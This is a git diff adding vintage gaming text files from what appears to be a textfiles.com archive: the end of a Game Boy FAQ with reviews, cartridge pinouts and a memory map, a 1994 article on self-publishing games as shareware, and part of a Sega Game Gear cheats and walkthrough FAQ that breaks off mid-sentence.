Overall: 10 + + This is the legendary Japanese shooter to which all others are compared. + It is awesome, huge, creative, challenging and fun, fun, fun. + +* Name: Twinbee Type: Shooter Producer: Konami + Graphics: 9 Sound: 9 Playability: 9 Overall: 9 + + Another Japanese cart that should be sold over here. It's better than + 90% of all GB games. + +8. Why some GameGenie codes don't work? + + Some games exist in several different versions. Although these versions + look exactly the same, the actual program codes differ. Therefore, while + some GameGenie codes work with one version of the cartridge, they aren't + guaranteed to work with other versions. + +9. Where is GB Zelda FAQ? + + The GameBoy Zelda FAQ list is supported by Michael Evans + [evansmj@NeXTwork.Rose-Hulman.Edu]. Another strategy guide for GB Zelda + is written by Christer Ericson [Christer.Ericson@cs.umu.se]. + +10. Where to get parts to repair GameBoy? + + Mark Kaufman found address of the company selling replacement parts for + GameBoy [as well as Sega AC adapters and Atari parts]. Here is their + phone number and a list of GameBoy parts they carry: + + MCM Electronics TOLL-FREE: 1-800-543-4330 + FAX: 1-513-434-6959 + VOICE: 1-513-434-0031 + M-F: 7AM-8PM EST Sat: 9AM-6PM EST + + #83-2285 $3.50 Gameboy Type 32 Pin Connector + (replace worn or corroded cartridge jack inside GB) + #83-1570 $1.49 Controller Replacement Pads + (set of three) + #81-1605 $7.95 Schematic Diagrams + (THIS should be interesting! =)) + + Game Bit Drivers (fit tamper resistant star screws): + #22-1145 $9.95 Small bit for GB cartridge + #22-1150 $9.95 Large bit for GB battery packs + +11. GameBoy cartridge pinouts [not complete]: + + Pin Function +---------------------------------------------------------- + 1 Vcc + 2 ? Connected on Gameboy, but not used on GamePaks. + 3 /RESET + 4 /WR + 5 ? Used by paging PAL on high capacity GamePaks. + 6-21 A0-A15 + 22-29 D0-D7 + 30 /RD + 31 ? Connected on Gameboy, but not used on Game-Paks. + 32 GND +----------------------------------------------------------- + +12. GameBoy memory map [speculation]: + +FFFFh ---------------------- + + Gameboy peripherals + Cartridge address frame is filled +C000h ---------------------- by 32kB of ROM in small cartridges. + In large [>32kB] cartridges it has + 16K of internal RAM following structure: + READ WRITE +8000h ---------------------- -------------------+------------------- + | + Paged ROM bank | 8kB battery-backed + | RAM (if paged in) + Cartridge address -------------------+------------------- + frame | + Bottom 16kB of ROM +------------------- + | Paging Register +0000h ---------------------- -------------------+------------------- + + Paging Register has 5 bits - D0-D4 which represent 32 16kB banks of + memory. Bank 0 is a battery-backed RAM. + +13. Which games are best to buy? + You can use a list of best games included into this FAQ-file. It is + incomplete and quite biased though. To get most recent information, + send email containing a single word get_gameboy to + paien00@dmi.usherb.ca to get "Nick's GameBoy Game Ratings" list. It + also seems to be biased, but let's hope that it will look better + when more people contribute to it. + +14. Mail-server and mailing list for GameBoy: + They are maintained by M. S. Manley. The address for both is + + gameboy@mentor.cc.purdue.edu + + Try fingering this address to get more info. + + In order to access mail-server, send email with subject "archive" + and body containing a list of commands. At the beginning, you can + send a letter containing only one word: "help" and the server + will send you a help-file with the list of all available commands. + + In order so subscribe for the mailing list, send email with subject + "subscribe". You can include your email address in the letter body, + otherwise it will be taken from the header. All other mail sent + to the above-described address and not containing keywords + "subscribe", "unsubscribe", "help" or "archive" will be forwarded to + the mailing list. + + My personal thanks to M.S.Manley. =:) + + +********************************* Credits: ******************************* + + Thanks to all people who sent their comments and + contributed to this document! (list follows) + + Mark Kaufman - Cheats for Faceball 2000 and passwords Pipe Dream. + Descriptions and ratings of some games. MCM + Electrionics' phone numbers. + Yi-Min Wei - Comments about software sections of the FAQ. + Kelly Gillilan - Excellent list of cheats and passwords. + Tecmo Bowl codes. CodeMasters' phone number. + Peter Knight - Cartridge pinouts and a memory map. Codemasters' + address. + Jim Hsu - List of passwords and codes and MK cheat. + Timothy A. Meushaw - Mortal Kombat cheat. + Robert Newman - Various cheats and codes. + M. S. Manley - Maintaining GB mailing list and mail-server + + +**************************** UNANSWERED QUESTIONS ************************ + + If you have any information about GameBoy, feel free to send email to + + Marat Fayzullin (FMS) + fms@wam.umd.edu + + +1. Meaning of the last three digits of GameGenie code? +2. Memory Map of GameBoy? +3. Author of ToyBoy emulator? +4. Pinouts of the GameBoy cartridges? +5. Programming sprites, sound, screen scrolling, serial port? +6. Connecting GameBoy to TV? +7. GameGenie codes not listed in the official updates? +8. Game cheats and passwords? +9. Complete version of GameBoy emulator? +10. Classified listings of the games with ratings from 0 to 9? +11. Game Copiers for GameBoy? +12. "Generic" cartridges allowing to use reprogrammable ROM plugged + into the socket or static RAM? +13. Pinouts of GameBoy's serial port? +14. Ports' addresses and their usage? +15. Where to get triple-blade screwdriver to open GameBoy? ;) +16. etc. etc. etc. + +* Reviews: Please, send your reviews of GB games. Rate four categories: + + Graphics Sound Playability Overall + + Give ratings from 0 to 9 for each of these categories. Also, classify + the game [RPG, shoot-em-up, classic, etc.] and give information about + the cartridge size and manufacturer. Games which get more than 2 ratings + from different people, will be mentioned in the FAQ. I still couldn't + collect enough of these raitings to come to any conclusions. + diff --git a/textfiles.com/games/gamedev1.txt b/textfiles.com/games/gamedev1.txt new file mode 100644 index 00000000..38e725fc --- /dev/null +++ b/textfiles.com/games/gamedev1.txt @@ -0,0 +1,266 @@ +This article was published as: + +"Alternative Marketing Methods: + Self-Publishing via Shareware and Low-Cost Retail" + Proceedings of the Eight Annual Computer Game Developers Conference + Apr. 1994 + +Note: Some of the information in this article is old and out of date. + + + Alternative Marketing Methods: + Self-publishing via Shareware and Low-Cost Retail + copyright 1994 Diana Gruber + +So you want to be a game developer? Don't we all. Believe me, it's a +rough business. You invest your youth and energy, you stay up all +night programming, and you pour your heart into your creation, all +the while hoping someday it will pay off. + +The problem is, while perfecting your game, and concentrating on +every detail of optimizing your code and making your game beautiful +and fun to play, you neglected to formulate a business plan. You +don't know how to sell your game after you finish writing it. What do +you do now? Do you pitch your game to a big publishing company and +hope for the best? Do you send copies to hundreds of publishers and +hope one of them will find it acceptable? Do you wait for weeks by +your mailbox collecting rejection notices? + +I am here to tell you there is another way. You can self-publish your +game. Self-publishing is not only within the realm of possibility, it +is, an excellent idea. Many authors have found self-publishing games +to be not only profitable in the long term, but highly satisfying. It +makes you feel good to be your own boss, to control the destiny of +your program, to make decisions yourself, and to gain respect in the +industry as you grow and promote your products and yourself. With a +little insight into the dynamics of the industry, it is possible to +earn a living on games without surrendering your program to one of +the big game publishers. It is possible to market your games +yourself. + +The first, most obvious, way to self-market games is through +shareware. In the beginning, it was not believed that shareware was +a viable channel for marketing games. A few of the early popular +games did well, such as Nels Anderson's Mahjongg, but without strong +registration incentives, most games were played and discarded without +generating much income for the authors. That all changed when Scott +Miller of Apogee Software invented the trilogy concept of shareware +games. In this genre, a game, usually an adventure-arcade game, is +broken up into "episodes". An episode typically contains about 10 +levels. The first episode is freely distributed via shareware +channels, and the player is required to send in money to get the +other two episodes. Scott Miller has parlayed this idea into a +multi-million dollar company. + +Other registration incentives have also been tried with Apogee games. +Cheat codes are made available in the registered versions, but not +documented in the shareware versions. Time delays between levels also +improve registration rates. As Scott pioneered shareware registration +incentive techniques, other companies have followed suit with similar +schemes. + +Besides registration incentives, massive distribution is necessary +for a shareware game to be a success. The best way to ensure massive +distribution is to have an excellent game. If your game is really +good, your users will distribute it for you. They will upload it to +bulletin boards, give it to their friends, pass it out at user group +meetings, etc. Shareware vendors supplement the efforts of users to +distribute your software. There are many kinds of shareware vendors, +and they distribute in many channels. Some publish catalogs, some +distribute via on-disk catalogs, some sell on CD-ROMs, and some sell +on racks in stores. Shareware vendors are always trying to think of +new ways to sell shareware, and you will sometimes hear of shareware +vending machines, shareware pre-installed on new computers, magazine +cover disks, etc. As you can see, there is no shortage of +distribution for shareware. All distribution is not equal, though, +and we will discuss some of the controversy surrounding the various +distribution methods in a few minutes. + +When designing a shareware game, think about your audience. First of +all, you want your users to be able to play your game right away. If +it takes them more than 5 minutes to figure it out and get started, +they will give up and delete it. Second, your game must be addicting. +You want them to start playing right away, and keep playing for +hours. In some ways, this is a rougher standard than a retail game. +When a customer buys a retail game, they have already invested money +in it, and they are going to take a little longer to understand the +game and learn to play it. When they are downloading a shareware +game, they are evaluating it, and deciding not only whether they want +to invest more money in it, but whether they want to invest more time +in it. With the retail game, since the money is already invested, the +time investment is a given. + +It is very important these days for a shareware game to have good +graphics. While 16-color graphics are acceptable, they will not sell +as well as 256-color graphics. Good art is important. Good music and +sound effects, and sound card support are also important. Shareware, +like retail, is a competitive market. If you want your program to be +noticed, you must make it stand out. + +It is less important that a shareware game run on all platforms. +Shareware allows plenty of room for innovation. If you want to write +a game that supports only 1 meg SVGA cards and requires 8 meg of RAM, +you can get away with it in shareware. You will have a smaller +audience, but you will have an audience. It is more difficult to sell +a game with restrictive hardware requirements to a publisher. +Publishers have their own in-house standards, and will require that +your game must be able to run on their chosen subset of computer +hardware. With shareware, you have the freedom to experiment, +understanding that you also have the freedom to fail. + +Traditional shareware is only one way to self-publish your games. In +recent years we have seen the emergence of rack vendors and "Low Cost +Retail" (LCR) vendors. These are distribution outfits that will take +your game and put it in various chain stores at a low price and give +you a small royalty. When I say small, I mean the typical royalty +will range from 10 cents to 60 cents per disk. It doesn't sound +like much, but the distribution is massive, and authors are reporting +getting excellent royalty checks from LCR vendors. + +The primary difference between a LCR vendor and a traditional retail +publisher is the LCR vendor is not involved in the development of the +program. The LCR vendor collects submissions from authors, usually +shareware authors, and builds a product line of 2 dozen to 4 dozen +titles. These are then placed in stores and distributed through +several channels. The goal is to get as many titles as possible in as +many stores as possible, and this method of distribution is becoming +increasingly effective. + +Another difference between LCR vendors and game publishers is the +ownership of the program. With LCR vending, the programmer retains +ownership of all the copyrights and trademarks. This works in the +author's favor, as a game can be re-released in the future. The shelf +life of a typical retail game is 6 months to 2 years, but an LCR game +can continue producing income indefinitely. + +LCR contracts vary. Products can be shareware or non-shareware, +exclusive or non-exclusive. Non-shareware, exclusive titles generate +the highest royalties, non-exclusive shareware titles typically +generate royalties in the range of 10 cents per disk. + +A list of some of my favorite royalty-paying rack vendors is included +at the end of this article. If you want to submit your program to +LCR vendors, I suggest you study the list and contact as many of them +as possible. Try to find LCR vendors that are appropriate to your +product. + +When designing your game, keep in mind the differences between an LCR +product and a shareware product. The LCR customer, unlike the shareware +user, is an impulse buyer. He is not interested in evaluating a +product before buying it, he is interested in throwing a box in a +shopping cart. He is more likely to buy a title that he quickly +recognizes. In my case, I have found that solitaire card games and +simple gambling games like slot machines sell well on the racks. Most +impulse buyers recognize these games and won't hesitate to buy them +for themselves, or perhaps for members of their families. Adventure +games, puzzle games, and arcade games also sell well, but the more +esoteric a game is, the smaller the audience it will attract. + +LCR games sell best when there is a screen shot of the game on the +box. Design your games with excellent graphics, because the LCR +vendor is going to want screen shots. It is one of the most important +selling points of an LCR game. + +LCR games should not require printed manuals. They should be easy to +play using only the online help. If your game requires a manual, you +should either go straight retail, or you should stick with shareware. +A printed manual is generally acknowledged to be an excellent +registration incentive for a shareware product. Likewise, technical +support will kill an LCR product. When you are selling a game in the +$6 range, you are not allowing any money to cover technical support +costs. If your game needs technical support, release it as shareware +and make the technical support a registration incentive. Hints and +cheats are an excellent way to get a player to register, especially +if they are stuck half way through the 9th level of a 10 level game. +Give them an 800 number to call to register the game, and when they +register, tell them how to beat the level. + +LCR racks consist of exclusive and non-exclusive titles that are not +shareware. That means, the author can not demand additional payment +from the users who have bought the game in a store. However, you can +still make money on after sales of related games. "If you liked +Ping Pong, you are going to love Table Tennis Deluxe". Include a plug +for your other games in your exit screen, or write a small on-disk +catalog with a printable order form. Think in terms of maximizing +your sales in all channels simultaneously. + +Since exclusive games generate the best royalties, write lots of +these. Design your games in such a way that you can create multiple +exclusive titles. If your game has levels, you can put 10 levels on +one rack, and another 10 levels on a different rack. You can change +the title and change the artwork and recycle the code to maximize +rack coverage. Also popular are "game packs". If I write 6 solitaire +card games, I can put 3 on one rack, and 3 on another rack, and then +mix together one from each rack plus a new game for a third rack. The +more games you have, the more room you have for this kind of +marketing. + +Be careful with exclusive contracts. Insist on a performance +guarantee. If a game doesn't sell, reserve the right to take it to a +different vendor. Otherwise, an LCR vendor can tie up your game in a +non-productive exclusive contract for years. If possible, reserve the +right to market a program via shareware simultaneously with the LCR +distribution. If the LCR vendor insists on no shareware version, then +he should pay you a higher royalty. Keep in mind, whenever you give +something away, you should get something in return. If you sign an +exclusive contract, you deserve an advance against royalties. Do not +sign away a right of first refusal on future program unless the +vendor gives you a very, very large advance. If the vendor does not +want to pay you an advance, then reserve the right to release the +program in some other channel. + +Non-royalty shareware racks still exist, and some authors find them +profitable. Some authors have programs which are so hot, they want +any kind of distribution they can get, and will place their games on +any kind of rack and CD-ROM. That works for some authors, but it +doesn't work for all of us. Many authors report that their +registration rates from non-royalty racks are as low as 1 in 3000, or +even worse. The problem seems to be, when people buy software in +stores, they are not in the habit of paying more money for it. It is +less confusing to the public if they can buy the game outright and +not owe additional money to the author. However, this issue is still +the subject of much controversy, and results will vary for different +companies and different games. It is best to go into this kind of +situation with your eyes open, and study the issues before allowing +distribution of your shareware program on non-royalty shareware +racks. + +The CD-ROM market is also controversial. Some CD-ROM manufacturers +put a dozen or so carefully-chosen games on a disk and pay a small +royalty to the authors. Authors report being pleased with the +results. They report being less pleased with CD-ROMs that contain a +"gigabyte of shareware", or hundreds of titles downloaded +indiscriminately from bulletin boards without regard to author +distribution requirements, current version numbers, hacks or viruses. +This type of CD-ROM is less effective at generating registrations for +the author because individual programs tend to get lost in the huge +volume of software available. Also, the trilogy method doesn't work +well when there are so many games available. Instead of registering +to get episode 2 of Commander Keen, the user will simply start +playing episode 1 of Duke Nukum, for example. + +License agreements are very important for shareware programs. When +you release a program, it will stay released. There is no way to call +back a program once the shareware distribution has been started. +Therefore, it is important that you get the license agreement right +from the beginning. Do not give away any rights that may later be +valuable to you. In particular, do not give blanket permission for +shareware vendors to distribute your program. Require that vendors +get written permission before distributing in stores. In general, you +do not want shareware vendors to sell a non-royalty shareware version +that will compete in the same store with your royalty LCR version. +To avoid this kind of situation, take care to reserve your rights. If +you have questions about copyrights and distribution restrictions, +talk to a knowledgeable attorney. + +In conclusion, self-publishing games through shareware and low cost +retail is profitable and satisfying, but requires a thorough +understanding of the market to be successful. There is room for +innovation, and there is also potential for disaster. Your program is +valuable, and deserves to be marketed in an optimal manner. Design +your program to fit your marketing strategy, and choose a marketing +channel that fits your program. Protect your rights, study what the +other authors are doing, and talk to as many vendors as possible. +Good luck! + + diff --git a/textfiles.com/games/gamegear.faq b/textfiles.com/games/gamegear.faq new file mode 100644 index 00000000..5c2489f3 --- /dev/null +++ b/textfiles.com/games/gamegear.faq @@ -0,0 +1,2533 @@ + SEGA Game Gear Frequently Asked Questions + Updated April 21, 1994 + by: Tony Clark + e-mail: tony_clark@mentorg.com + + +DISCLAIMER: This FAQ is an independent publication, offered free of charge. +The +information contained herein is provided without any warranty, written or +otherwise. The author nor any of the individual contributors will assume any +responsibility for the acuracy of the information within this FAQ. + +This FAQ is also available by FTP, courtesy of GamePro magazine's Andy +Eddy. Just FTP to ftp.netcom.com and cd /pub/vidgames/faqs + +Contributors: + +Thanks to all who have contributed! The list of names has grown too long to +include anymore. You know who you are! + +TC +================================================================================ +Section I: Unanswered Questions +[ This section will contain various questions which have not been answered. ] +[ If you can provide an answer to any of these questions please send e-mail ] +[ to the author. ] +================================================================================ +Q: In Indiana Jones, are there any items (like a shield) in the wall/whip + scene? Is it possible to get through the Zepplin with just one I.J. +life? + After getting time at the top and getting the sheild is there another +time + piece or a short cut to the plane? + +Q: In Defender of Oasis, in the castle where you rescue the Princess, how +can + you get through the door that leads to the double force fields? Also, in + the temple of spirits (can't recall the corerct name - the one you get + inside using the hammer), I'm unable to get to several of the chests on +the + elevated icy floor. There's a staircase in the middle of all the chests + that's clearly connected to another below this level, but this lower + stairway is enclosed in a walled area and inaccessable from the outside. + There is another staircase that leads up into the walled area, but I +can't + find any stairs below this that lead into the walled section. I explored + the temple to the point where I can get through random encounters without + much damage, but I still haven't found a way through this. + +Q: What are the level passwords to "Predator II" for Game Gear? I keep +getting + killed just before the end of the first level and I'm inclined to cheat. +================================================================================ +Section II: Game Hints and Spoilers +Note: Games which are followed by "(European)" may not work on US Game + Gears or Master Systems. +================================================================================ +@@@@@ +NBA JAM + +Q: What are the Power-Up codes for NBA JAM? + +All codes done at the Tonight's Matchup screen. Working codes will go to a +new screen before the tip-off saying "Power Up ______". +DEFENSE: hit 2 five times, hold on fifth time. +SHOT PERCENTAGE: hit 2, then hold 2 and down. +DUNKS: rotate pad 360 clockwise, then hit 2 thirteen times. +FIRE (!): hit 2 seven times, then hold 2 and up. +INTERCEPT: rotate pad 360 clockwise, then hit 1 fifteen times. +JUICE MODE: hit 1 thirteen times, then press and hold 1 & 2. Juice mode when +made active stays for all matches. eg) if in your next game you went for the +dunks code, you'd see "Power Up Dunks Juice Mode". +-------------------------------------------------------------------------------- +@@@@@ +Sonic Chaos + +Q: Do you have any info on Sonic Chaos? + +Special Stage One: Break the Sonic monitor and fly right. At first, stay on + the line where the small rings appear, because you can +clear + two lines of the large rings with one pass, and these are + usually the lines with the highest ring density (there's + more rings on these lines). + +Special Stage Two: Go to the right, jump on the rightmost plartform. Board +the + spring, and look for the side which has the highest +platform + to the side of it. If you move to the extreme right and + left with your spring, you will see platforms above you +to + the right and/or left. When Sonic is at the highest +point + of the spring jump, jump up and to the side you're on and + you'll end up on the next platform. Keep repeating this, + until you're on the platform with the emerald. If you +need + time, there is at least one clock monitor which halts the + time left clock for a few seconds near the top of this + stage. + +Special Stage 3: Go into the tube to your right by breaking the +invincibility + monitor. If you press up for the rest of the stage, you'll +go + into the room with the emerald. Explanation: you go +through + the same thing several times, with the crisscross tubes, +and + then after several of these, you'll notice the pattern + changes. If you look to your right before the tube goes + upward, you'll see the emerald for a split second. The +tube + then curves to the left, and you'll come up on an +intersection + where you can continue to the left or go up. You want to +go + up. + +Special Stage 4: This one doesn't leave much time to spare. The emerald is +on + a high platform which you can't jump onto at the rightmost + point on the stage. One way to do it is to run and jump as + fast as you can to the right. Jump as far as you can, + avoiding the recesses , ending up on a point about as high +as + you are. Try running or using the combination down+1 to +get + some speed, and then jump at the end of the platform. At +one + point you'll reach a downward sloping towards the right + platform, followed by a high sheer platform. You have two + options. Either you can do a down+1 then jump to get on +the + platform, and use the rocket shoes monitor there to fly +right, + or you can break through this hill. When you can't break +any + more walls, jump and you'll break the one below you, then + break the walls to your right again, repeat. At this point + you can run right and pick up a clock monitor to stop time. + You'll want to either continue right and then back up and +pick + up some rocket shoes, or backtrack and pick up an earlier + pair. From here, rocket shoes are pretty much required to + save time. You will go from shoes to running & jumping for + short periods of time several times. Usually you have to +back + up and get a pair. If you end up running on a row of tiles +at + the bottom of the screen whichcrumble from under your feet, + you've gone too far, and need to back up for the final set +of + shoes. These are the only way I know of to reach the +platform + with the emerald on it. This is one big-@ss level, sorry I + can't give a more detailed explanation. Some tips: if +your + reach an area where there's a diagonal line of the +stationary + plunger thingys to you're right, you want to scale this +hill, + by jumping just to the left the plunger on the level you +want + to land on. If you reach an area where there's one plunger +on + the lower left, one on the lower right, and one on the +upper + right, I THINK you want to backtrack. + +Special Stage 5: Last one, and it's a nastier version of the third. You can + pick up a bunch of time monitors on this level by diverting + from the default path (straight) at intersections. This +one + isn't as bad as Stage 4. Sorry, no direct set of moves +here. + Suggestion: pause the game every so often to look at the +area + around you when you're in the tubes. Take the side paths. + The 5th emerald is in a room which is hard to locate, +because + it's so small. The room is on the left side of the level, +and + is approachable from the inside of the level. Look for an + intersection where one of you're options is a tube that +leads + into a room with a plunger which is ready to shoot you back + where you came from. If you look, you'll see that there's +a + clear path just above the plunger thing. Jump and use the +D + button to avoid being thrown back out, and take the path +above + it. The emerald is down this path. + +Robotnik & +Level 3 Electric Egg Zone: On level 3, run to your right down the slope, and + jump to the other side. Then jump back onto the + platform to your left, and use it to launch +yourself + intothe tube above. Press down when you do this, +so + you can go into a side tube and get the 10 ring + monitor. Immediately press right to continue + towards robotnik. Ride the elevator platform you + land on, and go to the right. Best way to kill + robotnik #1: stay on the right side of the +screen + and attack robotnik to the left, flying back to +the + right after bouncing off him. This way when you +get + shot, you can get the ring back without robotnik + standing on it. For robo #2, stay low. When the + ship appears, and then goes off one side of the + screen, sonic shoot yourself to the opposite side +of + the screen so he doesn't kill you when he +reappears. + After a few times of this, you can see his +pattern + and then jump on top of him once to kill him. + +Q: In Sonic Chaos when you continue a game, do you still have all of the + emeralds you picked up? I won by continues, and there wasn't a real +ending + sequence, I just chased robotnik for a few seconds, and that was it. If +you + let him go for awhile, do you get something other than the ending +sequence? + +When you continue, you still keep all the emeralds you had before. The only +difference with sonic real ending and the one without the credits is that +without the chaos emeralds Sonic falls on his face. The real ending shows: +Sonic chasing Robotnik for the rings. Robotnik drops the rings. Sonic gets +the +rings and next thing you see sonic is inside the Chaos Emerald running a 360 +and +then the credits roll. Nothing really spectacular of course. +-------------------------------------------------------------------------------- +@@@@ +Alien 3 (European) + +Enter your name as CHEAT on the high-score table to get tons more ammo when +you +start the next game. +-------------------------------------------------------------------------------- +@@@@@ +Axe Battler (European) + +Firewood Town: FDCB JBEJ PBOO MDKI +Turtle Village: AHNN ANAB IOCN OAJN +Sand Marrow: IMME KEJE ALKD PNOF +Holm Stock: LIAM OBEG MAKK AKMG +Brookhill: AFPL JLNJ OMEM PGJK +North Valley: LGEC CLBP BIOP NICD +-------------------------------------------------------------------------------- +@@@@@ +Joe Montana Football (European) + +Use the "Pray for Rain" play against Minnesota - they'll always fall for it. +------------------------------------------------------------------------------- +@@@@@ +Krusty's Fun House (European) + +Level Code +2 SELMA +3 SCRATCHY +4 SKINNER +5 GROENING + +All doors chest: If you enter the code TRACY, you'll open all the doors to +all +the levels. +-------------------------------------------------------------------------------- +@@@@@ +Pengo (European) + +Level select: Hold down buttons 1 and 2, press Up on the pad and then press +Start twice. A level select screen should now appear. You can also change +your +number of starting lives with this cheat. +-------------------------------------------------------------------------------- +@@@@@ +Putt 'N' Putter (European) + +Hole Codes + +Beginner Master +Hole 3 SANAT Hole 4 WBNAU +Hole 7 DKGKL Hole 7 KBWAT +Hole 10 OATBK Hole 10 PLJKF +Hole 13 BKMLD +Hole 16 LKPKO +-------------------------------------------------------------------------------- +@@@@@ +Streets of Rage (European) + +Go to options and then to sound test. Play sound 11 and then press 1 and 2 +together, you can now turn the damage on or off or select you starting level. +-------------------------------------------------------------------------------- +@@@@@ +Super Kick Off (European) + +If you're bored with the English team names, switch the language to access +other +European teams. +-------------------------------------------------------------------------------- +@@@@@ +Wimbledon (European) + +To get max speed/power and skill without having to play for hours: +IKM JKI POC. +-------------------------------------------------------------------------------- +@@@@@ +Wolfchild (European) + +A password of J8TPR takes you to a level select screen. +-------------------------------------------------------------------------------- +Ren Hoek & Stimpy: Quest for the Shaven Yak + +Level Selects: + +Level 2: AURGHH +Level 3: ZONNNK +Level 4: YYYOWW +Level 5: ZOWCHH + +Using these codes gives you 3 Rens and 3 Stimpys, each with 6 hitpoints +(three +bottle pictures), and puts you at the start of the level. +-------------------------------------------------------------------------------- +Sonic I + +Q: How do I get the 50,000 special bonus at the end of the game? + +You may get 50,000 special bonus at the end of the game for each of +the following: + +- Collecting all chaos emeralds +- Reaching all 8 special zones +- Completing every special zone in time +- Finding all sonic monitors + (did you know, that there is a sonic monitor in every zone/act - except + specials?) + +Q: In Sonic 1, where are the 3rd, 4th and 5th gems? Any clues on how to get +to + the sixth gem? (On the blimp.) + +3rd gem: In Act 1 go to the second waterfall. Go to the platform underneath + you. The third gem is reached by jumping on a log to the left. + +4th gem: It's to the left when you are almost done with Act 2. + +5th gem: This one is reached by taking one of the tubes in the scrap brain. + +6th gem: This one I actually remember quite well, as I had to go to Usenet +to + get the answer! At the start of Act 2, jump a little bit towards + the left. You'll land on a platform and be on your way to the + emerald. + +Q: In Sonic 1, where are all the monitors? + +Zone/Act Location + +1/1 After the first pit, hidden in a palm tree (jump under it to + knock it down) +1/2 Enter cave, go left to the bottom (Sonic stands 'knee-deep in + water), jump left to enter a secret passage +1/3 Jump into the second pit, go right +2/1 Using the second balance jump onto the high cliff +2/2 Floating in water - you can't miss it ;-) +2/3 Just go left at start - suppress your urge to go right + immediately ;-) +3/1 On top of the first waterfall (if you fall down to the log - you + still can reach it by going to the second waterfall and back from +there) +3/2 Approx. halfway through the level find a platform with 8 rings on the + left of the waterfall. Jump right over the long spiked log, Jump right + off the log. +3/3 Go right, jump into the water, it is at the bottom. +4/1 At the end of the level (when you are out of the water again, + going up) switch on the left switches the monitor between 'rings' and + 'Sonic'. +4/2 Fall down to to a place where air bubbles appear on a short + platform jump into the left pit, go left to the end of the corridor, + break the monitor by 'roll attack' (down) - don't try to jump! +4/3 Jump off the spring, enter corridor left, jump over spikes + (careful!), it is at the end. +5/1 It is on the first transporter belt you encounter (be quick - +otherwise + it will fall down) +5/2 At the place where the corridor branches into 'upper' and 'lower' +branch + - take the 'lower' one, pass the door, go down, jump right into the +deep + pit, go left, use transporter. +5/3 When you are at the bottom of the level you see it behind closed door. + To get there go up, left, up, left, up, right, up, right, dooooown. +6/1 On the second flying platform: jump off it before it reaches +destination, + go a few platforms down +6/2 At start go left, land on a flying platform, change to the second + platform, then jump onto a ladder, go up the ladder. +6/3 If you found all 17 monitors described above - the 18-th one will be + there just at your feet. + +If you find and break all the 18 monitors you receive 50,000 extra bonus at +the +end of the game (plus bonus for lives left). Apart from the above, there are +Sonic monitors in special zones #2, 4, 6 and 8. +-------------------------------------------------------------------------------- +Sonic II + +Q: How do you fly using the glider in Sonic 2 Game Gear? + +Take the glider without jumping off the hill/cliff whatsoever. Go back +(left), +keeping the glider, then run to the right. This way, you'll get enough speed +for a stable flight after getting off the ground. While flying, press [left] +to +gain height, and [right] to increase speed. Do not use left/right too often +between your flight, because you'll lose speed by getting height and vice +versa. +The manual left out one little thing. They say push left to go up and right +to +go down, but they forgot to say 'Push the D-button up to keep your self +afloat +and slowly sail across the sky.' + +Q: Has anyone found those two little yellow chicks in Scene 1 of Zone II? + What + purpose do they serve? + +Yes! From the start - Run across the collapsing bridge the jump across the +platforms to the first plunger platform (it has a ring monitor). There is an +extra Sonic on a platform to the right of this which is optional. Take the +plunger up to the next platform (with the bricked up tunnels). Through the +tunnels knocking out the bricks (and the turtle). Now start climbing the +"platforms in the sky" NOT the building ones. Get to the highest point which +will almost take you off the screen and bounce LEFT. You'll arrive on a +platform with two trees and an extra Sonic monitor. DO NOT break the +monitor. +Jump over it to the left, turn round and PUSH the monitor. The two chicks +will +appear. If you keep pushing more chicks will appear. + +No idea what they do though. + +Q: What is the Level Select sequence for Game Gear Sonic II? + +1. Press the start button to get rid of the running scene +2. During the next screen, press and hold start, button 1, button 2, and +press + south-west on the directional button. Hold everything until you hear +chimes. +3. Let go and press start to get the the level-select screen. + +or try this... + +1. Before the Portrait Screen comes up, hold south-west and buttons 1 and 2. +2. Tails will blink 3 times. When his eye is closed from the third blink, +hit +start (with everything else still held) and the level select screen will come +up. + +Q: How do I get unlimited lives in Sonic II? + +This is a common feature of Sonic 2. There are two free Sonics monitors on +Act +1! The big acts for free Sonics have to be Act 1 of level 4 and Act 1 of +level +5. The original Sonic game let you obtain these monitors only once. Once +you +were killed, the monitors were gone forever. + +In Act 2 of the first level of Sonic 2 on the Game Gear you can generate +unlimited lives since there is a bug/feature which means that the extra life +icon is available even if you have been killed on that act before. In act 2 +of +level 1 it is easy to get 100 rings so you get the extra life and collect 100 +lives and kill yourself, and start over. Thus you gain two and lose one for +each attempt. + +In Level 6 the second round of this is another ideal place to restock on +Sonics! +There will be a plunger on a hill after you've passed the "Martians" and the +right- left-up maze. Press down on the D-button to go into the super fast +mode. +There will be a free Sonic at the top. Go to the right. There are rings +galore. I think there are a hundred rings here! Go back to the left. There +is +another free Sonic. Go down and to the right. There's a free Sonic here +too. + + +Q: Where are the chaos Emeralds in Sonic II? + +All of the emeralds will be found in the second act of +the first 5 zones. + +Zone I emerald: To get to the end of this round, you have to take a plunger +to + the right. Instead of doing that, take the plunger to the +left. + Go to the top of the hill, get the ring monitor, and push +"down" + on the D-button to make Sonic go really fast. Take the rail + cart. Stay in the rail cart for a little bit past the end of + the track. Jump off towards the upper right. The emerald is + there. + + +Zone II emerald: This is one that I needed help to get. Towards the middle +of + the round, there will be a row in the clouds with rings. + There + will be one plunger next to it at a higher level, and +another + plunger a little bit past this one. Take the latter plunger +at + an angle towards the right. You'll be on an invisible +platform + in the clouds. Jump off the clouds past the last cloud. + There + will be an invisible plunger. Take this plunger towards the + right (again, it helps if you are at an angle to the very + right) and the emerald will be at the highest point. + +Zone III emerald: There will be a maze towards the middle of the round (not +the + first maze!). Press the D-button left. + +Zone IV emerald: When you get towards the end, you'll see some plungers with + rings that you won't quite be able to reach. Go back to +the + plungers on the left. Use them to get to the right. + +Zone V emerald: The last one! (I'm not counting the emerald that you get +for + defeating the Silver Sonic.) This one was tricky. Towards +the + beginning of the round, you'll see a diagonal area that has + spikes coming down. There is a hidden room here. To access + it, jump to the left while you are almost at the top. At +the + very left, there are flywheels (with two more secret +hideouts + to the left containing free Sonics!). Take the flywheels +up. + The emerald is towards your right. + + +Q: How do I kill the Bosses in Sonic II? + +Zone I boss: Stay away from the balls. I thought at first the object was +also + to hit the lobster (or plant, or whatever) but all you have to +do + is stay away from that and the balls. Some of the balls require + you to jump over them, while others need for you to go +underneath + them when they bounce. + +Or try this: Another tactic is to jump over all the rocks, whether they be +high + bouncin' or low bouncin'. Stand near the ant-lion, and wait for + the rock to get very close to me, then jump *towards* the +antlion. + In the air, *arch back* towards the center of the screen. (So +you + end up jumping a loop, starting and ending just in front of the + ant-lion.) It takes a little practice to know when to jump for + different rocks, but it does work. + +Zone II boss: It helps to hit two of the small birds at once. You'll kill 4 + birds on the top level, then 4 more birds will 